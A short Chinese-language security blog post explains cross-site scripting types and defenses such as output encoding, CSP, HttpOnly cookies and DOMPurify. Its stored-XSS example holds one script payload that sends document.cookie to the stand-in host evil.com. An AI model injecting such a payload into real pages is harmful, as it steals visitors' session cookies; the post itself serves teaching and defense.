Skip to content

XSS跨站脚本攻击实战

跨站脚本(Cross-Site Scripting,XSS)是指攻击者将恶意脚本注入到网页中,当其他用户浏览该页面时脚本在其浏览器中执行,从而窃取 Cookie、伪造请求或进行钓鱼。

三种类型

类型存储位置触发方式
反射型URL 参数诱骗点击含恶意参数的链接
存储型数据库恶意脚本被持久化后自动渲染
DOM 型前端 DOM客户端脚本不安全地操作 DOM

一个存储型示例

评论区未过滤用户输入,攻击者可提交:

html
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

该内容被存入数据库并在其他用户浏览时执行,导致 Cookie 外泄。

防御策略

  • 输出编码:根据上下文(HTML、属性、JS、URL)进行对应编码。
  • CSP(内容安全策略):限制脚本来源,阻断非法内联脚本。
http
Content-Security-Policy: default-src 'self'; script-src 'self'
  • HttpOnly Cookie:禁止 JavaScript 读取敏感 Cookie。
  • 输入校验 + 富文本白名单(如使用 DOMPurify 过滤)。
  • 框架自动转义:Vue / React 默认对插值进行转义,避免 v-html / dangerouslySetInnerHTML 直接渲染不可信内容。

现代前端框架已默认防御大部分 XSS,但 v-html、模板字符串拼接等"逃生舱"仍是重灾区。

SecLab 网络安全博客 · 内容仅供安全研究与学习,请勿用于未授权活动